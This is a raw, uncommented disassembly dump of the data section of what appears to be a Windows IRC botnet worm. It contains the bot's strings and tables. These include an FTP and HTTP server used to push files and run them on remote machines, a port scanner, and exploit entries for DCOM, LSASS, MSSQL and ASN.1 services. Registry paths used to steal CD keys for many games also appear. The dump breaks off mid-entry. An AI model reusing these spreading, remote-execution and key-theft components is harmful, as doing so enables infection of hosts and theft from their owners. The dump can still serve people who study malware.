seg000:004056BBo align 10h aSyst db 'SYST',0 ; DATA XREF: seg000:004056A7o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00405697o align 10h aPass db 'PASS',0 ; DATA XREF: seg000:00405683o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:00405673o align 10h aUser_0 db 'USER',0 ; DATA XREF: seg000:0040565Eo ; seg002:0042C320o ... align 4 aSS_1 db '%s %s',0 ; DATA XREF: seg000:0040564Do align 10h a220Fuckftpd0wn db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:004055C5o align 4 aRb db 'rb',0 ; DATA XREF: seg000:00406D50o ; sub_40B43D+Bo align 4 unk_42697C db 2 ; DATA XREF: sub_405B07+3F8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 4 asc_4269C4 db 0Dh,0Ah,0 ; DATA XREF: sub_405B07+2CFo align 4 asc_4269C8: ; DATA XREF: sub_405B07+293o ; seg000:0040CEE1o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405B07+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406058o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406035o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: seg000:00405FF9o ; sub_40AAB5+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00405FE5o align 10h aApplicationOct db 'application/octet-stream',0 ; DATA XREF: seg000:loc_405FC7o align 4 aTextHtml db 'text/html',0 ; DATA XREF: seg000:00405FC0o align 4 unk_426BE8 db 2 ; DATA XREF: sub_4060E4+28Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_426C34 db 2 ; DATA XREF: sub_4060E4+20Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_426C78: ; DATA XREF: sub_4060E4+157o ; seg002:0042DFB8o unicode 0, <*>,0 asc_426C7C: ; DATA XREF: sub_4060E4+FBo ; seg000:004063BDo ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060E4+EAo ; seg000:0040685Eo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060E4+3Ao ; seg000:0040A651o ... align 4 aS_2 db '\%s',0 ; DATA XREF: sub_4060E4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: seg000:004069E2o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004069C7o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: seg000:004069ACo align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:0040691Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: seg000:004068F5o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4068ACo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004068A5o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00406805o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004067C8o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: seg000:00406795o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_406756o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:0040674Fo align 4 aSS db '%s%s/',0 ; DATA XREF: seg000:00406708o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004066C4o ; seg000:0040681Ao db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: seg000:004066A2o align 4 aS_0 db '<%s>',0 ; DATA XREF: seg000:00406678o ; seg000:004067A7o align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: seg000:0040664Eo aAm db 'AM',0 ; DATA XREF: seg000:00406624o align 4 aPm db 'PM',0 ; DATA XREF: seg000:00406618o align 4 a__0: ; DATA XREF: seg000:004065E1o unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: seg000:004065C6o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00406554o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004064DBo aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: seg000:004064BFo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: seg000:0040648Bo db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00406441o db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: seg000:0040640Co db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004063DFo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B01+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dd 4000500h, 7868746Bh, 0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 10h db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 4 db 0 db 5, 0, 1 db 46h ; F db 69h, 6Ch, 65h db 20h db 4Eh, 6Fh, 74h db 20h aFound db 'Found',0 align 10h db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_427234 db 2 ; DATA XREF: seg000:00406D7Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_427284 db 2 ; DATA XREF: seg000:00406C8Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: seg000:00406C31o align 8 aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_40776F+164o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: seg000:00404ACFo align 4 dd 5 dup(0) dword_427300 dd 87h ; seg000:0040FDBEr ... off_427304 dd offset sub_4033CB ; DATA XREF: sub_40776F+1E6r dword_427308 dd 0 ; sub_402DDD+199r ... dword_42730C dd 1 dword_427310 dd 0 aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 4033CBh, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 4033CBh, 0 dd 1, 0 aDcass db 'dcass',0 align 4 dd 63640000h, 737361h, 6 dup(0) dd 1BDh, 402F84h, 0 dd 2 dup(1), 7361736Ch, 35343473h, 736C0000h, 34737361h dd 3534h, 5 dup(0) dd 1BDh, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 35333173h, 736C0000h, 31737361h dd 3533h, 5 dup(0) dd 87h, 403C8Bh, 0 dd 2 dup(1), 7361736Ch, 39333173h, 736C0000h, 31737361h dd 3933h, 5 dup(0) dd 8Bh, 403C8Bh, 0 dd 2 dup(1), 61736C63h, 7373h, 6C630000h, 73736173h, 6 dup(0) dd 1BDh, 402DDDh, 0 dd 2 dup(1), 6C31736Ch, 73h, 736C0000h, 736C31h, 6 dup(0) dd 1BDh, 403E3Ch, 0 dd 2 dup(1), 7173736Dh, 6Ch, 736D0000h, 6C7173h, 6 dup(0) dd 599h, 404F08h, 0 dd 2 dup(1), 316E7361h, 6E626D73h, 736D0074h, 737361h dd 6 dup(0) dd 599h, 40514Ch, 0 dd 2 dup(1), 6C616572h, 74736163h, 65520000h, 61636C61h dd 7473h, 5 dup(0) dd 22Ah, 4052E0h, 0 dd 1, 0 aAsn1http db 'asn1http',0 align 2 aAsn1http_0 db 'asn1http',0 align 4 dd 5 dup(0) dd 50h, 404907h, 0 dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh dd 62h, 5 dup(0) dd 1BDh, 404907h, 0 dd 2 dup(1), 7361736Dh, 73h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 404907h, 0 dd 2 dup(1), 0 aAsn1smbnt db 'asn1smbnt',0 byte_42766A db 1 ; DATA XREF: seg000:loc_41193Ar ; seg000:00411944o aMsass db 'msass',0 align 4 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407119+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407119+42o align 4 unk_4276A4 db 2 ; DATA XREF: sub_407119+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_4276DC db 2 ; DATA XREF: sub_4071E3+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_427710 db 2 ; DATA XREF: sub_4071E3+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_427744 db 2 ; DATA XREF: seg000:004075C9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 dword_42778C dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h ; DATA XREF: seg000:00407561o ; seg000:00411E74o dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 6C207265h dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h dd 2E3Eh, 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh dd 2029206Ch, 2BBBB02h, 65532020h, 72657672h, 61747320h dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h dd 0 dd 28026502h, 62302E31h, 20282029h, 70746674h, 1F6D2E64h dd 206C1F64h, 0BB022029h, 202002BBh, 6C696146h, 74206465h dd 7473206Fh, 20747261h, 76726573h, 202C7265h, 6F727265h dd 3C203A72h, 2E3E6425h, 0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStartedO db 'Server started on Port: %d, File: %s, Request: %s.',0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_407636+38o ; sub_40A155+46o unk_42791C db 2 ; DATA XREF: sub_40776F+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_427958 db 2 ; DATA XREF: sub_40776F+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_4279A8 db 2 ; DATA XREF: sub_407983+1CEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 10h unk_427A00 db 2 ; DATA XREF: sub_407983+173o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_0 db ' Failed to start worker thread, error: <%d>.',0 align 10h unk_427A50 db 2 ; DATA XREF: sub_407983+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_427A9C db 2 ; DATA XREF: sub_407983+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_427AE8 db 2 ; DATA XREF: sub_407BE2+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 4 unk_427B38 db 2 ; DATA XREF: sub_407BE2+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_427B90 db 2 ; DATA XREF: sub_407D6A+1AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_427BE4 db 2 ; DATA XREF: sub_407D6A+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_427C3C db 2 ; DATA XREF: seg000:004081A0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_2 db 'Failed to start server on Port %d.',0 align 10h unk_427C80 db 2 ; DATA XREF: seg000:0040817Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_3 db 'Failed to start client thread, error: <%d>.',0 unk_427CCC db 2 ; DATA XREF: seg000:00408102o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_427D24 db 2 ; DATA XREF: seg000:00408096o ; seg000:004126B7o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_0 db 'Server started on: %s:%d.',0 align 10h unk_427D60 db 2 ; DATA XREF: seg000:004083ECo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_427DB4 db 2 ; DATA XREF: seg000:0040837Do db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 dword_427E04 dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h ; DATA XREF: seg000:004082E5o dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h dd 0 dd 80000001h off_427E5C dd offset aSoftwareValveC ; DATA XREF: sub_4085B7+Cr ; sub_4085B7+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_427E68 dd 2 dup(0) dd 80000001h, 428FF0h, 428FE4h, 428FD4h, 2 dup(0) dd 80000001h, 428FB4h, 428FB0h, 428F9Ch, 2 dup(0) dd 80000001h, 428F78h, 428FB0h, 428F6Ch, 2 dup(0) dd 80000001h, 428F48h, 428F40h, 428F2Ch, 2 dup(0) dd 80000001h, 428F18h, 428F08h, 428EECh, 2 dup(0) dd 80000001h, 428EA8h, 429030h, 428E94h, 2 dup(0) dd 80000002h, 428E68h, 428E5Ch, 428E3Ch, 2 dup(0) dd 80000002h, 428E08h, 429030h, 428DF0h, 2 dup(0) dd 80000002h, 428DBCh, 429030h, 428DA4h, 2 dup(0) dd 80000002h, 428D8Ch, 429030h, 428D74h, 2 dup(0) dd 80000002h, 428D38h, 438F9Ch, 428D28h, 2 dup(0) dd 80000002h, 428CF0h, 438F9Ch, 428CDCh, 2 dup(0) dd 80000002h, 428C90h, 438F9Ch, 428C70h, 2 dup(0) dd 80000002h, 428C20h, 438F9Ch, 428BF4h, 2 dup(0) dd 80000002h, 428BB8h, 438F9Ch, 428BA4h, 2 dup(0) dd 80000002h, 428B6Ch, 438F9Ch, 428B5Ch, 2 dup(0) dd 80000002h, 428B0Ch, 438F9Ch, 428AE0h, 2 dup(0) dd 80000002h, 428AA0h, 438F9Ch, 428A84h, 2 dup(0) dd 80000002h, 428A54h, 438F9Ch, 428A34h, 2 dup(0) dd 80000002h, 4289F8h, 438F9Ch, 4289E4h, 2 dup(0) dd 80000002h, 42899Ch, 438F9Ch, 42897Ch, 2 dup(0) dd 80000002h, 428928h, 438F9Ch, 4288F8h, 2 dup(0) dd 80000002h, 4288A8h, 438F9Ch, 42887Ch, 2 dup(0) dd 80000002h, 42883Ch, 428834h, 428814h, 2 dup(0) dd 80000002h, 4287D0h, 438F9Ch, 4287B4h, 2 dup(0) dd 80000002h, 428768h, 438F9Ch, 428744h, 2 dup(0) dd 80000002h, 428710h, 438F9Ch, 428704h, 2 dup(0) dd 80000002h, 4286D0h, 438F9Ch, 4286C4h, 2 dup(0) dd 80000002h, 428690h, 438F9Ch, 428684h, 2 dup(0) dd 80000002h, 428650h, 438F9Ch, 428644h, 2 dup(0) dd 80000002h, 428608h, 438F9Ch, 4285F4h, 2 dup(0) dd 80000002h, 4285B8h, 438F9Ch, 4285A4h, 2 dup(0) dd 80000002h, 428574h, 429030h, 428558h, 2 dup(0) dd 80000002h, 428538h, 428530h, 42850Ch, 2 dup(0) dd 80000002h, 4284F0h, 428530h, 4284D0h, 2 dup(0) dd 80000002h, 4284B0h, 428530h, 42848Ch, 2 dup(0) dd 80000002h, 428474h, 428530h, 428470h, 2 dup(0) dd 80000002h, 428454h, 428444h, 42843Ch, 2 dup(0) dd 80000002h, 428408h, 428404h, 4283ECh, 2 dup(0) dd 80000002h, 4283B0h, 4283A4h, 42837Ch, 42836Ch, 428358h dd 80000002h, 428334h, 428328h, 428314h, 428304h, 4282FCh dd 80000002h, 428334h, 428328h, 4282D0h, 428304h, 4282C8h dd 80000002h, 428334h, 428328h, 428298h, 428304h, 428290h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: seg002:0042DE48o db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 10h aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 10h aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 10h db 53h aOftwareWestw_0 db 